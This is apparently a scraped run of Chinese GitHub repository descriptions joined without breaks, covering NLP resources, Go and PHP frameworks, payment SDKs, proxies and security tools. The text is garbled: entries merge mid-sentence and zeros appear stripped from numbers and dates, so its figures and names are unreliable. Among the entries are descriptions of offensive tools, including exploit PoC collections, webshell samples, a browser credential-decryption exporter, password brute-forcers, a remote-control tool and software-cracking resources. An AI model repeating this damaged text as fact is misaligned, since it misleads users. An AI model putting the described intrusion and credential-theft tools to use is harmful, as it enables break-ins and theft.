功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 XMind 记录 Linux 操作系统 网络 C Golang 以及数据库的一些设计cqhttp的golang实现 轻量 原生跨平台 mqant是一款基于Golang语言的简洁 高效 高性能的分布式微服务框架基于react node js go开发的微商城 含微信小程序 MM Wiki 一个轻量级的企业知识分享与团队协同软件 可用于快速构建企业 Wiki 和团队知识分享平台 部署方便 使用简单 帮助团队构建一个信息共享 文档管理的协作环境 Go 语言中文网 Golang中文社区 Go语言学习园地 源码基于 Gin 进行模块化设计的 API 框架 封装了常用功能 使用简单 致力于进行快速的业务研发 比如 支持 cors 跨域 jwt 签名验证 zap 日志收集 panic 异常捕获 trace 链路追踪 prometheus 监控指标 swagger 文档生成 viper 配置文件解析 gorm 数据库组件 gormgen 代码生成工具 graphql 查询语言 errno 统一定义错误码 gRPC 的使用 等等 syncd是一款开源的代码部署工具 它具有简单 高效 易用等特点 可以提高团队的工作效率 一款由 YSRC 开源的主机入侵检测系统golang面试题集合这是一个可以识别视频语音自动生成字幕SRT文件的开源 Windows GUI 软件工具 一款内网综合扫描工具 方便一键自动化 全方位漏扫扫描 是一个用于在两个redis之间同步数据的工具 满足用户非常灵活的同步 迁移需求 Overlord是哔哩哔哩基于Go语言编写的memcache和redis cluster的代理及集群管理功能 致力于提供自动化高可用的缓存服务解决方案 Stack RPC 中文示例 教程 资料 源码解读ICMP流量伪装转发工具Freedom是一个基于六边形架构的框架 可以支撑充血的领域模型范式 Go2编程指南 开源图书 重点讲解Go2新特性 以及Go1教程中较少涉及的特性语言高性能分词golang写的IM服务器 服务组件形式 结巴 中文分词的Golang版本xorm是一个简单而强大的Go语言ORM库 通过它可以使数据库操作非常简便 本库是基于原版xorm的定制增强版本 为xorm提供类似ibatis的配置文件及动态SQL支持 支持AcitveRecord操作一个 Go 语言实现的快速 稳定 内嵌的 k v 数据库 高性能表格数据导出器基于Golang的开源社区系统 版本网易云音乐ncm文件格式转换 go 实现的压测工具 ab locust Jmeter压测工具介绍 单台机器1 w连接压测实战 抓包截取项目中的数据库请求并解析成相应的语句 Go专家编程 Go语言快速入门 轻松进阶 <<自己动手写docker 源码Go 每日一库kunpeng是一个Golang编写的开源POC框架 库 以动态链接库的形式提供各种语言调用 通过此项目可快速开发漏洞检测类的系统 vue js element框架 golang beego框架 开发的运维发布系统 支持git jenkins版本发布 go ssh BT两种文件传输方式选择 支持部署前准备任务和部署后任务钩子函数 Go 从入门到实战 学习笔记 从零开始学 Go Gin 框架 基本语法包括 26 个Demo Gin 框架包括 Gin 自定义路由配置 Gin 使用 Logrus 进行日志记录 Gin 数据绑定和验证 Gin 自定义错误处理 Go gRPC Hello World 持续更新中 Go 学习之路 Go 开发者博客 Go 微信公众号 Go 学习资料 文档 书籍 视频 微信 WeChat 支付宝 AliPay 的Go版本SDK 极简 易用的聚合支付SDK Go by Example 通过例子学 GolangPPGo Job是一款可视化的 多人多权限的 一任务多机执行的定时任务管理系统 采用golang开发 安装方便 资源消耗少 支持大并发 可同时管理多台服务器上的定时任务 Golang实现的IP代理池是一款用Go语言开发的web应用框架 API特性类似于Tornado并且拥有比Tornado更好的性能 自己动手写Java虚拟机 随书源代码支付宝 AliPay SDK for Go 集成简单 功能完善 持续更新 支持公钥证书和普通公钥进行签名和验签 ARCHIVED Geph 迷霧通帮助你将本地端口暴露在外网 支持TCP UDP 当然也支持HTTP 深入Go并发编程研讨课无状态子域名爆破工具手机号码归属地信息库 手机号归属地查询 phone dat 最后更新 2 21年 6月 golang基于websocket单台机器支持百万连接分布式聊天 IM 系统基于mongodb oplog的集群复制工具 可以满足迁移和同步的需求 进一步实现灾备和多活功能 Gin Gorm开发Golang API快速开发脚手架简单可信赖的任务管理工具Go语言实例教程从入门到进阶 包括基础库使用 设计模式 面试易错点 工具类 对接第三方等授权框架简体中文翻译 自动抓取tg频道 订阅地址 公开互联网上的ss ssr vmess trojan节点信息 聚合去重后提供节点列表轻量级 go 业务框架 哪吒监控 一站式轻监控轻运维系统 支持系统状态 TCP Ping 监控报警 命令批量执行和计划任务 Go 语言官方教程中文版工程师知识管理系统 基于golang go语言 beego框架 每个行业都有自己的知识管理系统 engineercms旨在为土木工程师们打造一款适用的基于web的知识管理系统 它既可以用于管理个人的项目资料 也可以用于管理项目团队资料 它既可以运行于个人电脑 也可以放到服务器上 支持提取码分享文件 onlyoffice实时文档协作 直接在线编辑dwg文件 office文档 在线利用mindoc创作你的书籍 阅览PDF文件 通用的业务流程设置 手机端配套小程序 微信搜索“珠三角设代”或“青少儿书画”即可呼出小程序 边界打点后的自动化渗透工具一个集审核 执行 备份及生成回滚语句于一身的MySQL运维工具汉字转拼音 Go资源精选中文版 含中文图书大全 语言实现的 Redis 服务器和分布式集群 超全golang面试题合集 golang学习指南 golang知识图谱 入门成长路线 一份涵盖大部分golang程序员所需要掌握的核心知识 常用第三方库 mysql mq es redis等 机器学习库 算法库 游戏库 开源框架 自然语言处理nlp库 网络库 视频库 微服务框架 视频教程 音频音乐库 图形图片库 物联网库 地理位置信息 嵌入式脚本库 编译器库 数据库 金融库 电子邮件库 电子书籍 分词 数据结构 设计模式 去html tag标签等 go学习 go面试go语言扩展包 收集一些常用的操作函数 辅助更快的完成开发工作 并减少重复代码百灵快传 基于Go语言的高性能 手机电脑超大文件传输神器 局域网共享文件服务器 LAN large file transfer tool 一个基于云存储的网盘系统 用于自建私人网盘或企业网盘 go分布式服务器 基于内存mmo个人博客微信小程序服务端 SDK for Golang 控制台颜色渲染工具库 支持16色 256色 RGB色彩渲染输出 使用类似于 Print Sprintf 兼容并支持 Windows 环境的色彩渲染基于 IoC 的 Go 后端一站式开发框架 v2ray web manager 是一个v2ray的面板 也是一个集群的解决方案 同时增加了流量控制 账号管理 限速等功能 key admin panel web cluster 集群 proxyServerScan一款使用Golang开发的高并发网络扫描 服务探测工具 是http client领域的瑞士军刀 小巧 强大 犀利 具体用法可看文档 如使用迷惑或者API用得不爽都可提issuesTcpRoute TCP 层的路由器 对于 TCP 连接自动从多个线路 电信 联通 移动 多个域名解析结果中选择最优线路 Bifrost 面向生产环境的 MySQL 同步到Redis MongoDB ClickHouse MySQL等服务的异构中间件应用网关 提供快速 安全的应用交付 身份认证 WAF CC HTTPS以及ACME自动证书 A telegram bot for rss reader 一个支持应用内阅读的 Telegram RSS Bot RESTful API 文档生成工具 支持和 Ruby 等大部分语言 基于gin gorm开发的个人博客项目基于Go语言的国密SM2 SM3 SM4算法库 Golang 设计模式一个阿里云盘列表程序 一款小巧的基于Go构建的开发框架 可以快速构建API服务或者Web网站进行业务开发 遵循SOLID设计原则并发编程实战 第2版 Go 学习 Go 进阶 Go 实用工具类 Go kit Go Micro 微服务实践 Go 推送基于DDD的o2o的业务模型及基础 使用Golang gRPC Thrift实现Sharingan 写轮眼 是一个基于golang的流量录制回放工具 适合项目重构 回归测试等 百度云网盘爬虫基于beego的进销存系统 TeaWeb 可视化的Web代理服务 DEMO teaos cn 白帽子安全开发实战 配套代码抖音推荐 搜索页视频列表视频爬虫方案 基于app 虚拟机或真机 相关技术 golang adb一款甲方资产巡航扫描系统 系统定位是发现资产 进行端口爆破 帮助企业更快发现弱口令问题 主要功能包括 资产探测 端口爆破 定时任务 管理后台识别 报表展示提供微信终端版本 微信命令行版本聊天功能 微信机器人 ️ 互联网最全大厂技术分享PPT 持续更新中 各大技术交流会 活动资料汇总 如 QCon 全球运维技术大会 GDG 全球技术领导力峰会 大前端大会 架构师峰会 敏捷开发DevOps OpenResty Elastic 欢迎 PR Issues日本麻将助手 牌效 防守 记牌 支持雀魂 天凤 开源客服系统GO语言开发GO FLY 免费客服系统一个查询IP地理信息和CDN服务提供商的离线终端工具 是一个用于系统重构 系统迁移和系统分析的瑞士军刀 它可以分析代码中的测试坏味道 模块化分析 行数统计 分析调用与依赖 Git 分析以及自动化重构等 一个直播录制工具Mastering Go 第二版中文版来袭 渗透测试情报收集工具分布式定时任务调度平台高度模块化 遵循 KISS原则的区块链开发框架golang版本的hangout 希望能省些内存 使用了自己写的Kafka lib 虚 不过我们在生产环境已经使用近1年 kafka 版本从 9 1到2 都在使用 目前情况稳定 吞吐量在每天2 亿条以上 Go 语言 Web 应用开发系列教程 从新手到双手残废iris 框架的后台api项目简单好用的DDNS 自动更新域名解析到公网IP 支持阿里云 腾讯云dnspod Cloudflare 华为云 自己动手实现Lua 随书源代码php直播go直播 短视频 直播带货 仿比心 猎游 tt语音聊天 美女约玩 陪玩系统源码开黑 约玩源码 社区开源 云原生的多云和混合云融合平台 Jiajun的编程随想Golang语言社区 腾讯课堂 网易云课堂 字节教育课程PPT及代码基于GF Go Frame 的后台管理系统带你了解一下Golang的市场行情mysql表结构自动同步工具 目前只支持字段 索引的同步 分区等高级功能暂不支持 基于Kubernetes的PaaS平台流媒体NetFlix解锁检测脚本稳定分支2 9 X 版本已更新 由 Golang语言游戏服务器 维护 全球服游戏服务器及区域服框架 目前协议支持websocket KCP TCP及RPC 采用状态同步 帧同步内测 愿景 打造MMO多人竞技游戏框架 功能持续更新中 基于 Golang 类似知乎的私有部署问答应用 包含问答 评论 点赞 管理后台等功能全新的开源漏洞测试框架 实现poc在线编辑 运行 批量测试 使用文档 XAPI MANAGER 专业实用的开源接口管理平台 为程序开发者提供一个灵活 方便 快捷的API管理工具 让API管理变的更加清晰 明朗 如果你觉得xApi对你有用的话 别忘了给我们点个赞哦 qq协议的golang实现 移植于miraigo版本极简工作流引擎全平台Go开源内网渗透扫描器框架 Windows Linux Mac内网渗透 使用它可轻松一键批量探测C段 B段 A段存活主机 高危漏洞检测MS17 1 SmbGhost 远程执行SSH Winrm 密码爆破端口扫描服务识别PortScan指纹识别多网卡主机 端口扫描服务识别PortScan iikira BaiduPCS Go原版基础上集成了分享链接 秒传链接转存功能 e签宝安全团队积累十几年的安全经验 都将对外逐步开放 首开的Ehoney欺骗防御系统 该系统是基于云原生的欺骗防御系统 也是业界唯一开源的对标商业系统的产品 欺骗防御系统通过部署高交互高仿真蜜罐及流量代理转发 再结合自研密签及诱饵 将攻击者攻击引导到蜜罐中达到扰乱引导以及延迟攻击的效果 可以很大程度上保护业务的安全 护网必备良药漂亮的Go语言通用后台管理框架 包含计划任务 MySQL管理 Redis管理 FTP管理 SSH管理 服务器管理 Caddy配置 云存储管理等功能 微信支付 WeChat Pay SDK for Golang用于监控系统的日志采集agent 可无缝对接open falcon阿里巴巴mysql数据库binlog的增量订阅 消费组件 Canal 的 go 客户端 github com alibaba canal 用于比较2个redis数据是否一致 支持单节点 主从 集群版 以及多种proxy 支持同构以及异构对比 redis的版本支持2 x 5 x 使用go micro微服务实现的在线电影院订票系统后端一站式微服务框架 提供API web websocket RPC 任务调度 消息消费服务器红蓝对抗跨平台远控工具Interchain protocol 跨链协议简单易用 足够轻量 性能好的 Golang 库一个go echo vue 开发的快速 简洁 美观 前后端分离的个人博客系统 blog 也可方便二次开发为CMS 内容管理系统 和各种企业门户网站 正在更新权限管理 hauth项目 不是一个前端or后台框架 而是一个集成权限管理 菜单资源管理 域管理 角色管理 用户管理 组织架构管理 操作日志管理等等的快速开发平台. hauth是一个基础产品 在这个基础产品上 根据业务需求 快速的开发应用服务.账号 admin 密码 123456通用的数据验证与过滤库 使用简单 内置大部分常用验证 过滤器 支持自定义验证器 自定义消息 字段翻译 CTF AWD Attack with Defense 线下赛平台 AWD platform 欢迎 Star 蓝鲸智云容器管理平台 BlueKing Container Service 程序员如何优雅的挣零花钱 2 版 升级为小书了 一个 PHP 微信 SDKAV 电影管理系统 avmoo javbus javlibrary 爬虫 线上 AV 影片图书馆 AV 磁力链接数据库ThinkPHP Framework 十年匠心的高性能PHP框架 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 多语言多货币多入口的开源电商 B2C 商城 支持移动端vue app html5 微信小程序微店 微信小程序商城等可能是我用过的最优雅的 Alipay 和 WeChat 的支付 SDK 扩展包了 基于词库的中文转拼音优质解决方案 我用爬虫一天时间“偷了”知乎一百万用户 只为证明PHP是世界上最好的语言 所使用的程序微信 SDK for Laravel 基于 overtrue wechat开源在线教育点播系统 一款满足你的多种发送需求的短信发送组件 基于 Laravel 的后台系统构建工具 Laravel Admin 使用很少的代码快速构建一个功能完善的高颜值后台系统 内置丰富的后台常用组件 开箱即用 让开发者告别冗杂的HTML代码一个想帮你总结所有类型的上传漏洞的靶场优雅的渐进式PHP采集框架 Laravel 电商实战教程的项目代码Payment是php版本的支付聚合第三方sdk 集成了微信支付 支付宝支付 招商一网通支付 提供统一的调用接口 方便快速接入各种支付 查询 退款 转账能力 服务端接入支付功能 方便 快捷 SPF Swoole PHP Framework 世界第一款基于Swoole扩展的PHP框架 开发者是Swoole创始人 A Wonderful WordPress Theme 樱花庄的白猫博客主题图床 此项目已弃用 基于 ThinkPHP 基础开发平台 登录账号密码都是 admin PanDownload网页复刻版一个开源的网址导航网站项目 您可以拿来制作自己的网址导航 使用PHP Swoole实现的网页即时聊天工具 独角数卡 发卡 开源式站长自动化售货解决方案 高效 稳定 快速 卡密商城系统 高效安全的在线卡密商城 ️命令行模式开发框架ShopXO免费开源商城系统 国内领先企业级B2C免费开源电商系统 包含PC h5 微信小程序 支付宝小程序 百度小程序 头条 抖音小程序 QQ小程序 APP 多商户 遵循MIT开源协议发布 基于 ThinkPHP5 1框架研发Wizard是一款开源的文档管理工具 支持Markdown Swagger Table类型的文档 Swoole MySQL Proxy 一个基于 MySQL 协议 Swoole 开发的MySQL数据库连接池 学习资源整合Freenom域名自动续期一个好玩的Web安全 漏洞测试平台一个基于Yii2高级框架的快速开发应用引擎蓝天采集器是一款免费的数据采集发布爬虫软件 采用php mysql开发 可部署在云服务器 几乎能采集所有类型的网页 无缝对接各类CMS建站程序 免登录实时发布数据 全自动无需人工干预 是网页大数据采集软件中完全跨平台的云端爬虫系统免费开源的中文搜索引擎 采用 C C 编写 基于 xapian 和 scws 提供 PHP 的开发接口和丰富文档WDScanner平台目前实现了如下功能 分布式web漏洞扫描 客户管理 漏洞定期扫描 子域名枚举 端口扫描 网站爬虫 暗链检测 坏链检测 网站指纹搜集 专项漏洞检测 代理搜集及部署等功能 ️兰空图床图标工场 移动应用图标生成工具 一键生成所有尺寸的应用图标和启动图 Argon 一个轻盈 简洁的 WordPress 主题Typecho Fans插件作品目录PHP代码审计分段讲解一个结构清晰的 易于维护的 现代的PHP Markdown解析器百度贴吧云签到 在服务器上配置好就无需进行任何操作便可以实现贴吧的全自动签到 配合插件使用还可实现云灌水 点赞 封禁 删帖 审查等功能 注意 Gitee 原Git osc 仓库将不再维护 目前唯一指定的仓库为 Github 本项目没有官方交流群 如需交流可以直接使用Github的Discussions 没有商业版本 目前贴吧云签到由社区共同维护 不会停止更新 PR 通常在一天内处理 微信调试 API调试和AJAX的调试的工具 能将日志通过WebSocket输出到Chrome浏览器的console中 結巴 中文分詞 做最好的 PHP 中文分詞 中文斷詞組件EleTeam开源项目 电商全套解决方案之PHP版 Shop for PHP Yii2 一个类似京东 天猫 淘宝的商城 有对应的APP支持 由EleTeam团队维护 RhaPHP是微信第三方管理平台 微信公众号管理系统 支持多公众号管理 CRM会员管理 小程序开发 APP接口开发 几乎集合微信功能 简洁 快速上手 快速开发微信各种各样应用 简洁 好用 快速 项目开发快几倍 群 656868 一刻社区后端 API 源码 新 微信服务号 微信小程序 微信支付 支付宝支付苹果cms v1 maccms v1 麦克cms 开源cms 内容管理系统 视频分享程序 分集剧情程序 网址导航程序 文章程序 漫画程序 图片程序一个PHP文件搞定支付宝支付系列 包括电脑网站支付 手机网站支付 现金红包 消费红包 扫码支付 JSAPI支付 单笔转账到支付宝账户 交易结算 分账 分润 网页授权获取用户信息等restful api风格接口 APP接口 APP接口权限 oauth2 接口版本管理 接口鉴权基于企业微信的开源SCRM应用开发框架 引擎 也是一套通用的企业私域流量管理系统 API接口大全不断更新中 欢迎Fork和Star 1 一言 古诗句版 api 2 必应每日一图api 3 在线ip查询 4 m3u8视频在线解析api 5 随机生成二次元图片api 6 快递查询api 支持国内百家快递 7 flv视频在线解析api 8 抖音视频无水印解析api 9 一句话随机图片api 1 QQ用户信息获取api 11 哔哩哔哩封面图获取api 12 千图网58pic无水印解析下载api 13 喜马拉雅主播FM数据采集api 14 网易云音乐api 15 CCTV央视网视频解析api 16 微信运动刷步数api 17 皮皮搞笑 基于swoole的定时器程序 支持秒级处理群 656868 ️ Saber PHP异步协程HTTP客户端微信支付单文件版 一个PHP文件搞定微信支付系列 包括原生支付 扫码支付 H5支付 公众号支付 现金红包 企业付款到零钱等 新增V3版 一个还不错的图床工具 支持Mac Win Linux服务器 支持压缩后上传 添加图片或文字水印 多文件同时上传 同时上传到多个云 右击任意文件上传 快捷键上传剪贴板截图 Web版上传 支持作为Mweb Typora发布图片接口 作为PicGo ShareX uPic等的自定义图床 支持在服务器上部署作为图床接口 支持上传任意格式文件 可能是我用过的最优雅的 Alipay 和 WeChat 的 laravel 支付扩展包了上传大文件的Laravel扩展包开发内功修炼Laravel核心代码学习南京邮电大学开源 Online Judge QQ群 6681 8264 免费IP地址数据库 已支持IPV4 IPV6 结构化输出为国家 省 市 县 运营商 中文数据库 方便实用 laravel5 5和vue js结合的前后端分离项目模板 后端使用了laravel的LTS版本 5 5 前端使用了流行的vue element template项目 作为程序的起点 可以直接以此为基础来进行业务扩展 模板内容包括基础的用户管理和权限管理 日志管理 集成第三方登录 整合laravel echo server 实现了websocket 做到了消息的实时推送 并在此基础上 实现了聊天室和客服功能 权限管理包括后端Token认证和前端vue js的动态权限 解决了前后端完整分离的情况下 vue js的认证与权限相关的痛点 已在本人的多个项目中集成使用 Web安全之机器学习入门 网易云音乐升级APIPHP 集成支付 SDK 集成了支付宝 微信支付的支付接口和其它相关接口的操作 支持 php fpm 和 Swoole 所有框架通用 宇润PHP全家桶技术支持群 17916227MDClub 社区系统后端代码imi 是基于 Swoole 的 PHP 协程开发框架 它支持 Http2 WebSocket TCP UDP MQTT 等主流协议的服务开发 特别适合互联网微服务 即时通讯聊天im 物联网等场景 QQ群 17916227WordPress 版 WebStack 导航主题 nav iowen cnLive2D 看板娘插件 www fghrsh net post 123 html 上使用的后端 API简单搜索 一个简单的前端界面 用惯了各种导航首页 满屏幕尽是各种不厌其烦的广告和资讯 尝试自己写个自己的主页 国内各大CTF赛题及writeup整理收集自网络各处的 webshell 样本 用于测试 webshell 扫描器检测率 PHP微信SDK 微信平台 微信支付 码小六 GitHub 代码泄露监控系统PHP表单生成器 快速生成现代化的form表单 支持前后端分离 内置复选框 单选框 输入框 下拉选择框 省市区三级联动 时间选择 日期选择 颜色选择 文件 图片上传等17种常用组件 悟空CRM 基于TP5 vue ElementUI的前后端分离CRM系统V免签PHP版 完全开源免费的个人免签约解决方案Composer 全量镜像发布于2 17年3月 曾不间断运行2年多 这个开源有助于理解 Composer 镜像的工作原理一个多彩 轻松上手 体验完善 具有强大自定义功能的WordPress主题 基于Sakura主题全球免费代理IP库 高可用IP 精心筛选优质IP 2s必达LaraCMS 是在学习 laravel web 开发实战进阶 实战构架 API 服务器 过程中产生的一个业余作品 试图通过简单的方式 快速构建一套基本的企业站同时保留很灵活的扩展能力和优雅的代码方式 当然这些都得益Laravel的优秀设计 同时LaraCMS 也是一个学习Laravel 不错的参考示例 已停止维护 HookPHP基于C扩展搭建内置AI编程的架构系统 支持微服务部署 热插拔业务组件 集成业务模型 权限模型 UI组件库 多模板 多平台 多域名 多终端 多语言 含常驻内存 前后分离 API平台 LUA QQ群 67911638 中华人民共和国居民身份证 中华人民共和国港澳居民居住证以及中华人民共和国台湾居民居住证号码验证工具 PHP 版 最简单的91porn爬虫php版本Fend 是一款短小精悍 可在 FPM Swoole 服务容器平滑切换的高性能PHP框架 no evil 实现过滤敏感词汇 基于确定有穷自动机 DFA 算法 支持composer安装扩展Z BlogPHP博客程序IYUU自动辅种工具 目前能对国内大部分的PT站点自动辅种 支持下载器集群 支持多盘位 支持多下载目录 支持远程连接等 果酱小店 基于 Laravel swoole 小程序的开源电商系统 优雅与性能兼顾 這是一份純靠北工程師的專案 請好好愛護它 謝謝 EC ecjia 到家是一款可开展O2O业务的移动电商系统 它包含 移动端APP 采用原生模式开发 覆盖使用iOS 及Android系统的移 动终端 后台系统 针对平台日常运营维护的平台后台 针对入驻店铺管理的商家后台 独立并行 移动端H5 能够灵活部署于微信及其他APP 网页等 Material Design 指南的中文翻译 一个纯php分词 thinkphp5 1 layui 实现的带rbac的基础管理后台 方便快速开发法使用百度pcs上传脚本目前最全的前端开发面试题及答案樱花内网穿透网站源代码 2 2 重制版MeepoPS是Meepo PHP Socket的缩写 旨在提供稳定的Socket服务 可以轻松构建在线实时聊天 即时游戏 视频流媒体播放等 基础目录 聚合所有其他目录 包含文档和例子基于 Vue js 的简洁一般强大的 WordPress 单栏博客主题阿里云打造Laravel最好的OSS Storage扩展 网上在线商城 综合网上购物平台swoolefy是一个基于swoole实现的轻量级 高性能 协程级 开放性的API应用服务框架基于redis实现高可用 易拓展 接入方便 生产环境稳定运行的延迟队列 一款基于WordPress开发的高颜值的自适应主题 